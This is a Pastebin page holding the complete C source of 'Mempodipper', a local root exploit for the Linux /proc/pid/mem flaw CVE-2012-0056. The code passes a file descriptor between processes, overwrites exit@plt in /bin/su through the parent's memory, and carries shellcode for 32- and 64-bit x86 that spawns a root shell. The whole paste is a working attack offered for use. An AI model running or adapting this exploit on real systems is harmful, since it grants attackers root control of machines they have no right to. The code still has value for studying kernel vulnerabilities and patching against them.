Advertisement
Guest User

mempodipper.c

a guest
Jul 10th, 2013
311
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.23 KB | None | 0 0
  1. /*
  2.  * Mempodipper
  3.  * by zx2c4
  4.  *
  5.  * Linux Local Root Exploit
  6.  *
  7.  * Rather than put my write up here, per usual, this time I've put it
  8.  * in a rather lengthy blog post: http://blog.zx2c4.com/749
  9.  *
  10.  * Enjoy.
  11.  *
  12.  * - zx2c4
  13.  * Jan 21, 2012
  14.  *
  15.  * CVE-2012-0056
  16.  */
  17.  
  18. #define _LARGEFILE64_SOURCE
  19. #include <stdio.h>
  20. #include <string.h>
  21. #include <stdlib.h>
  22. #include <sys/types.h>
  23. #include <sys/stat.h>
  24. #include <sys/socket.h>
  25. #include <sys/un.h>
  26. #include <fcntl.h>
  27. #include <unistd.h>
  28. #include <limits.h>
  29.  
  30. int send_fd(int sock, int fd)
  31. {
  32.     char buf[1];
  33.     struct iovec iov;
  34.     struct msghdr msg;
  35.     struct cmsghdr *cmsg;
  36.     int n;
  37.     char cms[CMSG_SPACE(sizeof(int))];
  38.  
  39.     buf[0] = 0;
  40.     iov.iov_base = buf;
  41.     iov.iov_len = 1;
  42.  
  43.     memset(&msg, 0, sizeof msg);
  44.     msg.msg_iov = &iov;
  45.     msg.msg_iovlen = 1;
  46.     msg.msg_control = (caddr_t)cms;
  47.     msg.msg_controllen = CMSG_LEN(sizeof(int));
  48.  
  49.     cmsg = CMSG_FIRSTHDR(&msg);
  50.     cmsg->cmsg_len = CMSG_LEN(sizeof(int));
  51.     cmsg->cmsg_level = SOL_SOCKET;
  52.     cmsg->cmsg_type = SCM_RIGHTS;
  53.     memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
  54.  
  55.     if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
  56.         return -1;
  57.     close(sock);
  58.     return 0;
  59. }
  60.  
  61. int recv_fd(int sock)
  62. {
  63.     int n;
  64.     int fd;
  65.     char buf[1];
  66.     struct iovec iov;
  67.     struct msghdr msg;
  68.     struct cmsghdr *cmsg;
  69.     char cms[CMSG_SPACE(sizeof(int))];
  70.    
  71.     iov.iov_base = buf;
  72.     iov.iov_len = 1;
  73.  
  74.     memset(&msg, 0, sizeof msg);
  75.     msg.msg_name = 0;
  76.     msg.msg_namelen = 0;
  77.     msg.msg_iov = &iov;
  78.     msg.msg_iovlen = 1;
  79.  
  80.     msg.msg_control = (caddr_t)cms;
  81.     msg.msg_controllen = sizeof cms;
  82.  
  83.     if ((n = recvmsg(sock, &msg, 0)) < 0)
  84.         return -1;
  85.     if (n == 0)
  86.         return -1;
  87.     cmsg = CMSG_FIRSTHDR(&msg);
  88.     memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
  89.     close(sock);
  90.     return fd;
  91. }
  92.  
  93. int main(int argc, char **argv)
  94. {
  95.     if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
  96.         char parent_mem[256];
  97.         sprintf(parent_mem, "/proc/%d/mem", getppid());
  98.         printf("[+] Opening parent mem %s in child.\n", parent_mem);
  99.         int fd = open(parent_mem, O_RDWR);
  100.         if (fd < 0) {
  101.             perror("[-] open");
  102.             return 1;
  103.         }
  104.         printf("[+] Sending fd %d to parent.\n", fd);
  105.         send_fd(atoi(argv[2]), fd);
  106.         return 0;
  107.     }
  108.    
  109.     printf("===============================\n");
  110.     printf("=          Mempodipper        =\n");
  111.     printf("=           by zx2c4          =\n");
  112.     printf("=         Jan 21, 2012        =\n");
  113.     printf("===============================\n\n");
  114.    
  115.     int sockets[2];
  116.     printf("[+] Opening socketpair.\n");
  117.     if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
  118.         perror("[-] socketpair");
  119.         return -1;
  120.     }
  121.     if (fork()) {
  122.         printf("[+] Waiting for transferred fd in parent.\n");
  123.         int fd = recv_fd(sockets[1]);
  124.         printf("[+] Received fd at %d.\n", fd);
  125.         if (fd < 0) {
  126.             perror("[-] recv_fd");
  127.             return -1;
  128.         }
  129.         printf("[+] Assigning fd %d to stderr.\n", fd);
  130.         dup2(2, 6);
  131.         dup2(fd, 2);
  132.  
  133.         unsigned long address;
  134.         if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
  135.             address = strtoul(argv[2], NULL, 16);
  136.         else {
  137.             printf("[+] Reading su for exit@plt.\n");
  138.             // Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
  139.             FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
  140.             char result[32];
  141.             result[0] = 0;
  142.             fgets(result, 32, command);
  143.             pclose(command);
  144.             address = strtoul(result, NULL, 16);
  145.             if (address == ULONG_MAX || !address) {
  146.                 printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
  147.                 printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
  148.                 return 1;
  149.             }
  150.             printf("[+] Resolved exit@plt to 0x%lx.\n", address);
  151.         }
  152.         printf("[+] Calculating su padding.\n");
  153.         FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
  154.         char result[256];
  155.         result[0] = 0;
  156.         fgets(result, 256, command);
  157.         pclose(command);
  158.         unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
  159.         unsigned long offset = address - su_padding;
  160.         printf("[+] Seeking to offset 0x%lx.\n", offset);
  161.         lseek64(fd, offset, SEEK_SET);
  162.        
  163. #if defined(__i386__)
  164.         // See shellcode-32.s in this package for the source.
  165.         char shellcode[] =
  166.             "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
  167.             "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
  168.             "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
  169.             "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
  170.             "\x80";
  171. #elif defined(__x86_64__)
  172.         // See shellcode-64.s in this package for the source.
  173.         char shellcode[] =
  174.             "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
  175.             "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
  176.             "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
  177.             "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
  178.             "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
  179.  
  180. #else
  181. #error "That platform is not supported."
  182. #endif
  183.         printf("[+] Executing su with shellcode.\n");
  184.         execl("/bin/su", "su", shellcode, NULL);
  185.     } else {
  186.         char sock[32];
  187.         sprintf(sock, "%d", sockets[0]);
  188.         printf("[+] Executing child from child fork.\n");
  189.         execl("/proc/self/exe", argv[0], "-c", sock, NULL);
  190.     }
  191. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement